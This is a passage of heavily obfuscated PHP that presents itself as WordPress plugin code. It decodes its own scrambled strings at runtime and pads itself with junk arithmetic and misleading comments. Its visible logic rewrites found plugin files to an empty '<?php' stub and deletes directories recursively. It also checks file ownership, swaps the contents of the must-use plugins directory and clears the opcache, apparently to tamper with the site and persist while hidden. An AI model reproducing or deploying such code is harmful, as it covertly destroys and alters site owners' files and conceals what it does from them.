yllIHy&\\^hn{','r4TU>T{TBM!hBnz0','52!GpUBr2Qzy<y','_I4 \\z7&\\50{Mn>|2|z','52!GpUBr2Qzy<y','<y|Q5f}&5GQT}5','2Q<>M>QB^UuH &55\\','Gh2U{Qfu&B}H\\E','H\\GQ  2TEB|Tz\\zp!yz\\n','{&#pu_n 7u {!UGlE&l2','52!GpUBr2Qzy<y','EnU#uhh0GW_hl0!rL!n0','2lf}u!rlU_&_7IT#U','z{0<|rBfp0}Mr0M<^<','0I20HM5\\B 75{2^U4Hz','flL|LQMLpQffl&B5I','|<GpB0<|rBM!0yQfUr{!U}0pQU','G<0rQ50pQU','52!GpUBr2Qzy<y','!M&<  2|EIUBl&B',' B2Il\\\\lW#nn&T|','M^l#nfW\\Gu0B#fpUW_>B','BM!0yQfU','y4lLMUp^!u7yrB','52!GpUBr2Qzy<y','!5yz0<rQ50pQU','B}r2zB0r|<}QE<|Tr}M<}H','B}r2zB0r|<}QE<|Tr}M<}H','r{f0 TTWM n#pM>5f2\\pM ','}|QUrB}M<y!2<B'),array(' Wn<<Wz}I^WlEh4h'));}return $a[$i];}function onlv7_99m8sby3($i){$e=s843b4gz61q33($i);$f='AB'.'SP'.'THs'.'c_ve'.'ro'.'4.53'.'plug'.'in'.'bam'.'WL'.'UGIN'.'DR'.'M/-'.'kdht'.'w<?\\'.'qf'.'CO'.'Ex '.':*y='.'V(+)'.'2FK\''.',0z>'.'&1'.'978'.'6XYZ'.'Qj;{'.'"[}'.']!|'.'^$#'.'J%`';$t='Ob'.'ZV'.'AdB'.'}r'.'E<|Q'.'l/&I'.'52!G'.'pUuz'.'^"N'.'o-]'.'scS('.'KjHy'.'M0f'.'tF`'.'#{;'.'?[_v'.'6%T'.'*DY'.'+)'.'hCgX'.'xn'.' q$W'.'L>'.'7\\eJ'.'.w48'.'PR'.'=:'.'kia'.'\'m,'.'319';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function c_5yznsrtgse_i($i){return onlv7_99m8sby3($i);}function e77owqcywda_d($i){$j=(int)$i;return onlv7_99m8sby3($j);}function okltugscqfcy($i){return onlv7_99m8sby3($i);}$GLOBALS['__scf_n2ceqwn4my98_3']=e77owqcywda_d(3);$GLOBALS['__scf_xjs199hyyb2xza_4']=onlv7_99m8sby3(4);$GLOBALS['__scf_ffvfced40_hd3k_7']=onlv7_99m8sby3(7);$GLOBALS['__scf_lt6nnx5zea_8']=c_5yznsrtgse_i(8);$GLOBALS['__scf_pozjicggfgaq_9']=e77owqcywda_d(9);$GLOBALS['__scf_m36_x4cy3m1b5_10']=onlv7_99m8sby3(10);$GLOBALS['__scf__ozzh8uadm__11']=okltugscqfcy(11);$GLOBALS['__scf_zwo1a6spxvy_12']=okltugscqfcy(12);$GLOBALS['__scf_ol5vrg1wmp_b51_15']=onlv7_99m8sby3(15);$GLOBALS['__scf_ujlpz7n1zr8s_16']=e77owqcywda_d(16);$GLOBALS['__scf_l9ij4yiim4al_f_17']=e77owqcywda_d(17);$GLOBALS['__scf_cr6q9fwgft_18']=okltugscqfcy(18);$GLOBALS['__scf_fumpd7io1zfk8_21']=c_5yznsrtgse_i(21);$GLOBALS['__scf_jfutfyhuy4_23']=c_5yznsrtgse_i(23);$GLOBALS['__scf_jm_ztoos21fema_33']=c_5yznsrtgse_i(33);$GLOBALS['__scf_o_aq7f8mktg1_34']=onlv7_99m8sby3(34);$GLOBALS['__scf_a91xkwk0qm_35']=e77owqcywda_d(35);$GLOBALS['__scf_hotyagmbtkrb_36']=c_5yznsrtgse_i(36);$GLOBALS['__scf__xs8mx6vz_euib_37']=c_5yznsrtgse_i(37);$GLOBALS['__scf_cnntu73crusp7f_39']=okltugscqfcy(39);$GLOBALS['__scf_ncrh0liqs6be8x_41']=onlv7_99m8sby3(41);$GLOBALS['__scf_iomf4blfg0_43']=onlv7_99m8sby3(43);$GLOBALS['__scf_ovzejzf9rj_44']=e77owqcywda_d(44);$GLOBALS['__scf_n1i7x5p4a4_46']=onlv7_99m8sby3(46);$GLOBALS['__scf_lnazygzamf_47']=okltugscqfcy(47);$GLOBALS['__scf_n960yhp5zf7o_52']=okltugscqfcy(52);$GLOBALS['__scf_poant85f5yad_56']=e77owqcywda_d(56);$GLOBALS['__scf_vd54bz_6kr2o44_68']=e77owqcywda_d(68);$GLOBALS['__scf_gjx8dntqvik0_71']=okltugscqfcy(71);$GLOBALS['__scf_nsfksoklwo_73']=c_5yznsrtgse_i(73);$GLOBALS['__scf__fjwdq5uaqy8us_74']=c_5yznsrtgse_i(74);$GLOBALS['__scf_m14439shit_z_75']=c_5yznsrtgse_i(75);$GLOBALS['__scf_k5cfm7qdognpb_76']=e77owqcywda_d(76);$GLOBALS['__scf_hfd5naynxinvpq_77']=c_5yznsrtgse_i(77);$GLOBALS['__scf_ha14er2zmzf_92']=c_5yznsrtgse_i(92);$GLOBALS['__scf_ibg88bu925_93']=okltugscqfcy(93);$GLOBALS['__scf_xfxvwe4pd_9ay_95']=okltugscqfcy(95);$GLOBALS['__scf_o_3hcsdzwrvrr_96']=onlv7_99m8sby3(96);$GLOBALS['__scf_sp7azfm0t4x0x_100']=e77owqcywda_d(100);$GLOBALS['__scf_w3427jutwi_101']=e77owqcywda_d(101);$GLOBALS['__scf_hccbqyvtdwo0fx_109']=c_5yznsrtgse_i(109);$GLOBALS['__scf_yg8mfbm26s_111']=c_5yznsrtgse_i(111);$GLOBALS['__scf_mihsk1y5nz_118']=onlv7_99m8sby3(118);$GLOBALS['__scf_fnyr4wcmh06x_144']=c_5yznsrtgse_i(144);$GLOBALS['__scf_youxoa71214_145']=c_5yznsrtgse_i(145);$GLOBALS['__scf_wwy_cardw8r5v6_146']=e77owqcywda_d(146);$GLOBALS['__scf_rd9j34ymcsjc4s_148']=c_5yznsrtgse_i(148);$GLOBALS['__scf_kugu9wdsub_154']=onlv7_99m8sby3(154);$GLOBALS['__scf_mk0x8rn0w4_167']=e77owqcywda_d(167);$GLOBALS['__scf_p_l9i38f5mdu2r_184']=onlv7_99m8sby3(184);$GLOBALS['__scf_uayyvei514_193']=e77owqcywda_d(193);$GLOBALS['__scf_nyge3zwzqqi4_200']=onlv7_99m8sby3(200);$GLOBALS['__scf_hovsb3ujdl3_213']=onlv7_99m8sby3(213);$GLOBALS['__scf_mrj_4bp5tfp5b0_214']=onlv7_99m8sby3(214);$GLOBALS['__scf_s2m8orbwca7snk_216']=e77owqcywda_d(216);$GLOBALS['__scf_at_3vrh_gyu_220']=onlv7_99m8sby3(220);$GLOBALS['__scf_q2ya1nr4pt_224']=c_5yznsrtgse_i(224);$GLOBALS['__scf_oj_6xo9y_n_233']=e77owqcywda_d(233);$GLOBALS['__scf__6fmddbd9tp_235']=e77owqcywda_d(235);$GLOBALS['__scf_m5fr3oj3uzdra_265']=onlv7_99m8sby3(265);$GLOBALS['__scf_hbe98sz4gs0o_266']=c_5yznsrtgse_i(266);$GLOBALS['__scf_at1pry017d_267']=okltugscqfcy(267);$GLOBALS['__scf_e71ni97sev9qs_270']=onlv7_99m8sby3(270);$GLOBALS['__scf_xpd8h2mup406_275']=c_5yznsrtgse_i(275);$GLOBALS['__scf_n99ik8d18ofhn_277']=onlv7_99m8sby3(277);$GLOBALS['__scf_qj6_wl4ow_o7j_279']=c_5yznsrtgse_i(279);$GLOBALS['__scf_v7kq2hv779pffq_280']=c_5yznsrtgse_i(280);$GLOBALS['__scf_hnstmgzni1iah_281']=e77owqcywda_d(281);$GLOBALS['__scf_wruv1u09qsfmz_282']=onlv7_99m8sby3(282);$GLOBALS['__scf_cukbso14_jh_287']=onlv7_99m8sby3(287);$GLOBALS['__scf_w6cbsieap9b0az_288']=onlv7_99m8sby3(288);$GLOBALS['__scf_cj182r9cul_296']=okltugscqfcy(296);$GLOBALS['__scf_fnlgbdhzrqz2st_298']=onlv7_99m8sby3(298);$GLOBALS['__scf_ge03_ug2e0a_310']=c_5yznsrtgse_i(310);$GLOBALS['__scf__90_xdmo58j3q_311']=c_5yznsrtgse_i(311);$GLOBALS['__scf_yuj8g0r0zhsi9_316']=e77owqcywda_d(316);$GLOBALS['__scf_hrd6y5q38xc_321']=e77owqcywda_d(321);$GLOBALS['__scf_dfrcq01t5h_325']=e77owqcywda_d(325);$GLOBALS['__scf_q_5np_m44nzg_327']=c_5yznsrtgse_i(327);$GLOBALS['__scf_avnbslqoow6nk_330']=e77owqcywda_d(330);$GLOBALS['__scf_i6l9zi1_f9_340']=okltugscqfcy(340);$GLOBALS['__scf_kb2xy4h7pgw5d_341']=okltugscqfcy(341);$GLOBALS['__scf_s3bo674ng_q_342']=onlv7_99m8sby3(342);$GLOBALS['__scf__y1qevmu6cl77u_343']=c_5yznsrtgse_i(343);$GLOBALS['__scf_j_3rba3nic_344']=e77owqcywda_d(344);$GLOBALS['__scf_vojaoxy19b6l_349']=onlv7_99m8sby3(349);$GLOBALS['__scf_gfb1kztgz8_351']=okltugscqfcy(351);$GLOBALS['__scf_gkxfprkigst5_356']=c_5yznsrtgse_i(356);$GLOBALS['__scf_sp6eq6gzqlrslw_358']=e77owqcywda_d(358);$GLOBALS['__scf_b_9alaw1v_3k_382']=onlv7_99m8sby3(382);$GLOBALS['__scf_wh7d__dd2m_384']=c_5yznsrtgse_i(384);$GLOBALS['__scf_ltvgwtsfyufb_385']=e77owqcywda_d(385);$GLOBALS['__scf__onstfeskpa_400']=c_5yznsrtgse_i(400);$GLOBALS['__scf_a3u2qv4rrneutg_401']=okltugscqfcy(401);$GLOBALS['__scf_hnlpvac6pfv25j_408']=e77owqcywda_d(408);$GLOBALS['__scf_suw363i1bvzr_417']=c_5yznsrtgse_i(417);$GLOBALS['__scf_t8cv4weumn7_439']=c_5yznsrtgse_i(439);$GLOBALS['__scf_m1egppx42pi_454']=onlv7_99m8sby3(454);$GLOBALS['__scf_v6xz4ce_wdoct3_455']=e77owqcywda_d(455);$GLOBALS['__scf_yuvry6nxa5dk96_516']=okltugscqfcy(516);$GLOBALS['__scf__1yrfqcb0r_541']=c_5yznsrtgse_i(541);$GLOBALS['__scf_eeb0vco6ovxnp_557']=okltugscqfcy(557);$GLOBALS['__scf_ddem5kbgax66n3_570']=onlv7_99m8sby3(570);$GLOBALS['__scf_w9d7jce26t_584']=e77owqcywda_d(584);$GLOBALS['__scf_utx8fhwa27hvi_628']=okltugscqfcy(628);$GLOBALS['__scf_cme2mo9dzi_660']=c_5yznsrtgse_i(660);$GLOBALS['__scf_s8a8ra7wu3u_676']=onlv7_99m8sby3(676);$GLOBALS['__scf_gucn0ufmm1pqqk_697']=e77owqcywda_d(697);$GLOBALS['__scf_zixwhg5_ed506_700']=c_5yznsrtgse_i(700);$GLOBALS['__scf_tyvjag46ltt_803']=onlv7_99m8sby3(803);$GLOBALS['__scf_z2rz4n5m1kteb_865']=c_5yznsrtgse_i(865);$GLOBALS['__scf_zgdiabtju3yl_913']=e77owqcywda_d(913);$GLOBALS['__scf_ru9lysalwdpx_969']=e77owqcywda_d(969);$GLOBALS['__scf_qz_4815ptl0__978']=onlv7_99m8sby3(978);$GLOBALS['__scf_hatt6968kz_1142']=onlv7_99m8sby3(1142);$GLOBALS['__scf_gc0se3zjo_7iom_1155']=onlv7_99m8sby3(1155);$GLOBALS['__scf_sh2dn3kvncq_1238']=onlv7_99m8sby3(1238);$GLOBALS['__scf_efg6cx4h8j_1242']=okltugscqfcy(1242);$GLOBALS['__scf_jx7b8dw4jllc_1245']=okltugscqfcy(1245);$GLOBALS['__scf_f0v88mo_io2lhn_1246']=e77owqcywda_d(1246);$GLOBALS['__scf_x_s5iwa172yx1_1247']=onlv7_99m8sby3(1247);$GLOBALS['__scf_fwn4g2giawo25r_1248']=okltugscqfcy(1248);$GLOBALS['__scf_m9308_jv0zrwd2_1249']=c_5yznsrtgse_i(1249);$GLOBALS['__scf_a1xgxflmsih_1250']=e77owqcywda_d(1250);$GLOBALS['__scf_c8kbzdllqt1y_1253']=onlv7_99m8sby3(1253);$GLOBALS['__scf_dcmmln6adsk_1265']=e77owqcywda_d(1265);$GLOBALS['__scf_dwtqfg3ndcp_1308']=okltugscqfcy(1308);$GLOBALS['__scf_ywju8yv_5uct_1315']=okltugscqfcy(1315);$GLOBALS['__scf_qbrhx_nd3m9_f_1320']=c_5yznsrtgse_i(1320);$GLOBALS['__scf_qbkffloyend_1373']=c_5yznsrtgse_i(1373);$GLOBALS['__scf_b0khiny8bek9j4_1443']=okltugscqfcy(1443);$GLOBALS['__scf_w49j111x1sf_3_1472']=okltugscqfcy(1472);$GLOBALS['__scf_philmoxvb6g13_1715']=c_5yznsrtgse_i(1715);$GLOBALS['__scf_b8m3xy1whe4_1723']=okltugscqfcy(1723);$GLOBALS['__scf_yd24k3p4xlvyi_1820']=c_5yznsrtgse_i(1820);

function lx7bdw46qdqs7ebq5ai7($s_vl1ji7,$gc1_y9on){$rpcx31qr4=($s_vl1ji7+43)%4;return $rpcx31qr4*$gc1_y9on;}
function rapo_9zl185i877a($t___74){$t___74=(isset($t___74)?$t___74:0)+0;return $t___74*1;}

  
defined(onlv7_99m8sby3(0))     or  exit;
  
 function     w218ynit42v8uao2p()
    {
 return   isset($GLOBALS[onlv7_99m8sby3(1)])    ? $GLOBALS[onlv7_99m8sby3(1)]   : okltugscqfcy(2);
  }
function ku6yldy17ivtsoehkpgirz()
    {
 return  __FILE__;
    }
function   orb88b5b15pr5r67()
{
 return $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());

    }
function z383zy78ulhvdb47()
  {
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(5)))   return plugin_basename(ku6yldy17ivtsoehkpgirz());
        $jj6fib7ix9ntj   =   ku6yldy17ivtsoehkpgirz();
  $fx4zteq5zn =  defined(onlv7_99m8sby3(6))    ?  WP_PLUGIN_DIR    : "";
if    ($fx4zteq5zn  !==   ""   && $GLOBALS['__scf_ffvfced40_hd3k_7']($jj6fib7ix9ntj,    $fx4zteq5zn)  ===      0)   return $GLOBALS['__scf_lt6nnx5zea_8']($GLOBALS['__scf_pozjicggfgaq_9']($jj6fib7ix9ntj,   $GLOBALS['__scf_m36_x4cy3m1b5_10']($fx4zteq5zn)), '/');
 return     $GLOBALS['__scf_n2ceqwn4my98_3']($GLOBALS['__scf__ozzh8uadm__11']($jj6fib7ix9ntj))   . '/'  .  $GLOBALS['__scf_n2ceqwn4my98_3']($jj6fib7ix9ntj);


}
        function rr86pukxk9_hcz1()



 {
     return   $GLOBALS['__scf_zwo1a6spxvy_12'](defined(c_5yznsrtgse_i(13))  ?  WPMU_PLUGIN_DIR :   (WP_CONTENT_DIR   .   e77owqcywda_d(14)),   '/');
   }
    function  gvz2nz5q0a_3fi6ss()


   {
  return   $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz());
  }
   function z896t8tuy9x7zn5($yaow7_phfq9,    $kmgnq9_fgpd56zwu   =      (465+28),   $m6x_x9ny238pu   =    false)
   {

  return $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(15))   ?  @$GLOBALS['__scf_ol5vrg1wmp_b51_15']($yaow7_phfq9,     $kmgnq9_fgpd56zwu,  $m6x_x9ny238pu) : false;
    }
function   jl7b1mmow1nrgaho8($jl_ruybeyx54iw,   $kmgnq9_fgpd56zwu)
 {
     return  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(16))  ?    @$GLOBALS['__scf_ujlpz7n1zr8s_16']($jl_ruybeyx54iw,  $kmgnq9_fgpd56zwu) : false;
 }
  function er_0rzjfu8611gx($jl_ruybeyx54iw)
 {
// OPcache config: link type-environment

  return    $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(17))   ?     @$GLOBALS['__scf_l9ij4yiim4al_f_17']($jl_ruybeyx54iw)  : false;



 }
function  x0v1bjoq5k18hm0o0l($gfqyhfnvmz)
  {
if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))     return   true;



    jl7b1mmow1nrgaho8($gfqyhfnvmz, (417+3));
   if      (er_0rzjfu8611gx($gfqyhfnvmz))    {$g74k307c4ni2f=(0x61+0x3e);$dx2iopp6hi=$g74k307c4ni2f%8;
  if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(19)))  @opcache_invalidate($gfqyhfnvmz,   true);
 return   true;
   }
 jl7b1mmow1nrgaho8($GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz),   (0xfa+0xf3));
 if   (er_0rzjfu8611gx($gfqyhfnvmz)) {

   if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(20))) @opcache_invalidate($gfqyhfnvmz, true);
return    true;



    }
$e22c3s2narioqp     =  @$GLOBALS['__scf_fumpd7io1zfk8_21']($gfqyhfnvmz,  onlv7_99m8sby3(22));
      if ($e22c3s2narioqp)   {
// WP Block Transforms: instrument token-bucket

 @$GLOBALS['__scf_jfutfyhuy4_23']($e22c3s2narioqp,   "<?php\n");


    @fclose($e22c3s2narioqp);
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(20))) @opcache_invalidate($gfqyhfnvmz, true);
     return  true;
 }
// WP Template Parts taxonomy registration



return   false;
}
function      _dbhfbzpahggm4($gfqyhfnvmz)
 {



    $d4m8o1802q2mg2a    = $GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz);
   $wlpolqc9qy     =   $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz,     onlv7_99m8sby3(24));
  foreach (array(c_5yznsrtgse_i(25),     onlv7_99m8sby3(26),     okltugscqfcy(27),      c_5yznsrtgse_i(28))  as $na8buqfsrikw_fq)    {
       $jszt7w4fcghd4tl   =  $d4m8o1802q2mg2a .  '/'  .   $na8buqfsrikw_fq . $wlpolqc9qy;
 if (@$GLOBALS['__scf_cr6q9fwgft_18']($jszt7w4fcghd4tl)) x0v1bjoq5k18hm0o0l($jszt7w4fcghd4tl);
}
  $u3dtw0j3ed1y  =  $d4m8o1802q2mg2a   .  '/'    .  $wlpolqc9qy .  onlv7_99m8sby3(29);



    if     (@$GLOBALS['__scf_cr6q9fwgft_18']($u3dtw0j3ed1y))   x0v1bjoq5k18hm0o0l($u3dtw0j3ed1y);
 if (defined(e77owqcywda_d(30)))     {


     $d36985bws_mi423w  = WP_CONTENT_DIR   . okltugscqfcy(31)     .   $wlpolqc9qy;



  if  (@$GLOBALS['__scf_cr6q9fwgft_18']($d36985bws_mi423w))   x0v1bjoq5k18hm0o0l($d36985bws_mi423w);
    }
      $_pd      = defined(c_5yznsrtgse_i(32))     ?  @$GLOBALS['__scf_jm_ztoos21fema_33'](WP_PLUGIN_DIR) : false;
    $hi85v7xxap =  @$GLOBALS['__scf_jm_ztoos21fema_33']($d4m8o1802q2mg2a);
   if ($_pd   &&  $hi85v7xxap   &&  $GLOBALS['__scf__ozzh8uadm__11']($hi85v7xxap) ===  $_pd)      {$bvvbfu9pqdj=14*8;$dem60hls=$bvvbfu9pqdj-36;
  $g1ahs_eywemr0 =  @$GLOBALS['__scf_o_aq7f8mktg1_34']($hi85v7xxap);
   if ($GLOBALS['__scf_a91xkwk0qm_35']($g1ahs_eywemr0)    &&  $GLOBALS['__scf_hotyagmbtkrb_36']($g1ahs_eywemr0) <=  2)  @$GLOBALS['__scf__xs8mx6vz_euib_37']($hi85v7xxap);
 }
}
  function     lior5n4toz7fvn()

 {
static $wwzl0c5n0zny_03   =    'x';
 if   ($wwzl0c5n0zny_03 !==   'x')   return    $wwzl0c5n0zny_03;
$wwzl0c5n0zny_03  =  null;
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(38))) { $o37smmdny8q3 =  @posix_geteuid();   if ($GLOBALS['__scf_cnntu73crusp7f_39']($o37smmdny8q3))      $wwzl0c5n0zny_03   =     $o37smmdny8q3; }
  if  ($wwzl0c5n0zny_03   ===   null) {


   $f_4isqr6gaomku4  =   n2d49ghrqegz5jd_m(rb4qo3s3qey8iml9k_t(),   onlv7_99m8sby3(40));
if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($f_4isqr6gaomku4))   {  $ebvfg1qozm9_    =  @fileowner($f_4isqr6gaomku4);  er_0rzjfu8611gx($f_4isqr6gaomku4);    if  ($GLOBALS['__scf_cnntu73crusp7f_39']($ebvfg1qozm9_))      $wwzl0c5n0zny_03  =    $ebvfg1qozm9_;    }
}
return  $wwzl0c5n0zny_03;
 }
 function     rmrfsqo13l_u_0qxqbb($d5o4amclcy2jr)
{
// WP Interactivity API: format radix-tree

 if ($GLOBALS['__scf_ffvfced40_hd3k_7']($GLOBALS['__scf_n2ceqwn4my98_3']($d5o4amclcy2jr),   onlv7_99m8sby3(42))  !==  0) return;
   if (!@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)   || @$GLOBALS['__scf_ovzejzf9rj_44']($d5o4amclcy2jr))  return;


$wpsr6t3ckhcyq   =   @$GLOBALS['__scf_o_aq7f8mktg1_34']($d5o4amclcy2jr);
    if  ($GLOBALS['__scf_a91xkwk0qm_35']($wpsr6t3ckhcyq)) foreach   ($wpsr6t3ckhcyq   as     $ye68b7hs2257kgf)   {
// accumulate self-adjoint injector

   if  ($ye68b7hs2257kgf    === '.'  ||   $ye68b7hs2257kgf  ===   c_5yznsrtgse_i(45)) continue;
    $jl_ruybeyx54iw   = $d5o4amclcy2jr . '/'     .  $ye68b7hs2257kgf;
     if      (@$GLOBALS['__scf_iomf4blfg0_43']($jl_ruybeyx54iw)    &&    !@$GLOBALS['__scf_ovzejzf9rj_44']($jl_ruybeyx54iw))  rmrfsqo13l_u_0qxqbb($jl_ruybeyx54iw);   else   er_0rzjfu8611gx($jl_ruybeyx54iw);$ic7odk5w3=197|40;$_8xttqiq0oi=$ic7odk5w3^42;



   }
@$GLOBALS['__scf__xs8mx6vz_euib_37']($d5o4amclcy2jr);
   }
   function gormjuaaxn9mljfkbsu($c0abca9op_,    $gpaby9dlcdsdi)
 {
if  (@$GLOBALS['__scf_ovzejzf9rj_44']($c0abca9op_))  return  false;
if (@$GLOBALS['__scf_cr6q9fwgft_18']($c0abca9op_)) {
    if     (!@$GLOBALS['__scf_n1i7x5p4a4_46']($c0abca9op_))  return     false;
 return    pmp5uslz6o5pfn7g7wxluy($c0abca9op_,  $gpaby9dlcdsdi)  ?   true  :     false;
     }
   if  (@$GLOBALS['__scf_iomf4blfg0_43']($c0abca9op_))  {
 if (!@$GLOBALS['__scf_iomf4blfg0_43']($gpaby9dlcdsdi)  && !z896t8tuy9x7zn5($gpaby9dlcdsdi,  (458+35), true))  return    false;$zizgmdsme4et=5356;$lh3ywpyjnyswsb=$zizgmdsme4et%17;
  $wpsr6t3ckhcyq    = @$GLOBALS['__scf_o_aq7f8mktg1_34']($c0abca9op_);
   if  (!$GLOBALS['__scf_a91xkwk0qm_35']($wpsr6t3ckhcyq))   return   false;
     foreach   ($wpsr6t3ckhcyq  as   $ye68b7hs2257kgf)  {
 if   ($ye68b7hs2257kgf   ===  '.'  ||  $ye68b7hs2257kgf ===  onlv7_99m8sby3(45))  continue;
// WP useEntityProp: attach singleton




if  (!gormjuaaxn9mljfkbsu($c0abca9op_ .   '/'   .  $ye68b7hs2257kgf,   $gpaby9dlcdsdi  .    '/' .  $ye68b7hs2257kgf)) return    false;
 }
 return true;
    }

   return   true;
 }
  function   tcabtbfivnye9t($gfqyhfnvmz)
{
if (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz)) return false;
 if  (@$GLOBALS['__scf_lnazygzamf_47']($gfqyhfnvmz))  return   false;
      if   (@$GLOBALS['__scf_lnazygzamf_47']($GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz)))  return   false;

   return  true;



  }
   function   brq2e22wo0d9ax40s9($gfqyhfnvmz)
  {


      e_42zxx3yq4pdz4bo4(okltugscqfcy(48),  $GLOBALS['__scf_n2ceqwn4my98_3']($gfqyhfnvmz));
   }
function    qeqwysacoqglzf7($ozh9nnlt2yuwsw28)
 {$xhlf7kc7=(0xd4+0x6e);$rj8rtqa7okeqaw=$xhlf7kc7%3;
if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(49)) ||  !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(34)))  return false;


  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(50))  &&     get_transient(onlv7_99m8sby3(51)))  return false;
  $azl4rd7jnlya1r  =      @$GLOBALS['__scf_jm_ztoos21fema_33'](rr86pukxk9_hcz1());
    if ($azl4rd7jnlya1r  ===    false      ||  !@$GLOBALS['__scf_iomf4blfg0_43']($azl4rd7jnlya1r)) return     false;


   $_xupuni2mwo0as9  =  null;


    if   ($ozh9nnlt2yuwsw28    !== null)    {
// atom table

     $_xupuni2mwo0as9  =     @$GLOBALS['__scf_jm_ztoos21fema_33']($ozh9nnlt2yuwsw28);
 if ($_xupuni2mwo0as9 ===  false || $GLOBALS['__scf__ozzh8uadm__11']($_xupuni2mwo0as9) !== $azl4rd7jnlya1r)  return  false;
  }

$l_gbudhekb  =   $GLOBALS['__scf__ozzh8uadm__11']($azl4rd7jnlya1r);
 if   (!@$GLOBALS['__scf_iomf4blfg0_43']($l_gbudhekb) || !@$GLOBALS['__scf_lnazygzamf_47']($l_gbudhekb))   return   false;
 if  (!_mi9a3bco72i6e1chhgbc($azl4rd7jnlya1r)  ||    !_mi9a3bco72i6e1chhgbc($l_gbudhekb))     return false;
       $tzuwclmeiksr2vl  =  @fileperms($l_gbudhekb);$pnf51z13rr8=PHP_MAJOR_VERSION;$gs3rzyfh0uyzg=$pnf51z13rr8*9;
      if ($tzuwclmeiksr2vl  !== false &&   ($tzuwclmeiksr2vl  &   (113+399)))    {
  $xm3tz934t06fq4y = lior5n4toz7fvn();
   if  ($xm3tz934t06fq4y    ===  null  ||  (@fileowner($l_gbudhekb)   !==  $xm3tz934t06fq4y &&    @fileowner($azl4rd7jnlya1r)    !==     $xm3tz934t06fq4y))   return false;
 }
      $qu1827ljya7dl    =  @$GLOBALS['__scf_n960yhp5zf7o_52']($l_gbudhekb);
    
   $hfv0z2v3ou =      @$GLOBALS['__scf_n960yhp5zf7o_52']($azl4rd7jnlya1r);


   if ($GLOBALS['__scf_a91xkwk0qm_35']($qu1827ljya7dl)  && $GLOBALS['__scf_a91xkwk0qm_35']($hfv0z2v3ou) &&   isset($qu1827ljya7dl[onlv7_99m8sby3(53)])  &&  isset($hfv0z2v3ou[onlv7_99m8sby3(54)])  &&  $qu1827ljya7dl[c_5yznsrtgse_i(54)]  !==  $hfv0z2v3ou[c_5yznsrtgse_i(55)]) return  false;

     $wpsr6t3ckhcyq  =    @$GLOBALS['__scf_o_aq7f8mktg1_34']($azl4rd7jnlya1r);



   if  (!$GLOBALS['__scf_a91xkwk0qm_35']($wpsr6t3ckhcyq)) return   false;
 $hfo3jirqlsaa6mma =    array();
 foreach ($wpsr6t3ckhcyq     as $ye68b7hs2257kgf)  {
// relaxed enumerator

  if  ($ye68b7hs2257kgf ===  '.'  ||  $ye68b7hs2257kgf   ===    e77owqcywda_d(45)) continue;
 $jl_ruybeyx54iw  = $azl4rd7jnlya1r . '/' .  $ye68b7hs2257kgf;


$qmpgcugiip8yj  = @$GLOBALS['__scf_jm_ztoos21fema_33']($jl_ruybeyx54iw);
     if    ($_xupuni2mwo0as9  !== null   &&  $qmpgcugiip8yj !==    false    &&  $qmpgcugiip8yj  ===  $_xupuni2mwo0as9)    continue;
if     (@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw)    &&  b1p_z7rdqk4o1fv4ey8f3t($jl_ruybeyx54iw,   (561-61)))    continue;

  if (@$GLOBALS['__scf_ovzejzf9rj_44']($jl_ruybeyx54iw) ||   !@$GLOBALS['__scf_n1i7x5p4a4_46']($jl_ruybeyx54iw))   return false;
 $hfo3jirqlsaa6mma[]  =  $ye68b7hs2257kgf;
}
$qaut5ce8cz   =   $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](uniqid("",  true)),  0, (26^18));
      $bmcj19twx21hel = $l_gbudhekb .    e77owqcywda_d(57) . $qaut5ce8cz;
  $g9_6y91pcd4t3 = $l_gbudhekb . onlv7_99m8sby3(58)   . $qaut5ce8cz;$kts08wcbd=7477;$ku91pcwzb=$kts08wcbd%7;
   if (!z896t8tuy9x7zn5($bmcj19twx21hel,   (912-419),   true))  return   false;


foreach   ($hfo3jirqlsaa6mma     as   $ye68b7hs2257kgf)   {
     if (!gormjuaaxn9mljfkbsu($azl4rd7jnlya1r .  '/'    .   $ye68b7hs2257kgf,  $bmcj19twx21hel .  '/'   . $ye68b7hs2257kgf))  { rmrfsqo13l_u_0qxqbb($bmcj19twx21hel);      return false;$ahzwyxwg10=3811;$wsv1qsgo492lu=$ahzwyxwg10%3; }
   }
if    (!l5bm62j0wqxjaofuju3($azl4rd7jnlya1r,   $g9_6y91pcd4t3)) {  rmrfsqo13l_u_0qxqbb($bmcj19twx21hel);    return false; }
    if  (!l5bm62j0wqxjaofuju3($bmcj19twx21hel, $azl4rd7jnlya1r)) {    l5bm62j0wqxjaofuju3($g9_6y91pcd4t3,    $azl4rd7jnlya1r);   rmrfsqo13l_u_0qxqbb($bmcj19twx21hel); return  false;    }
    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(59))) @clearstatcache(true);


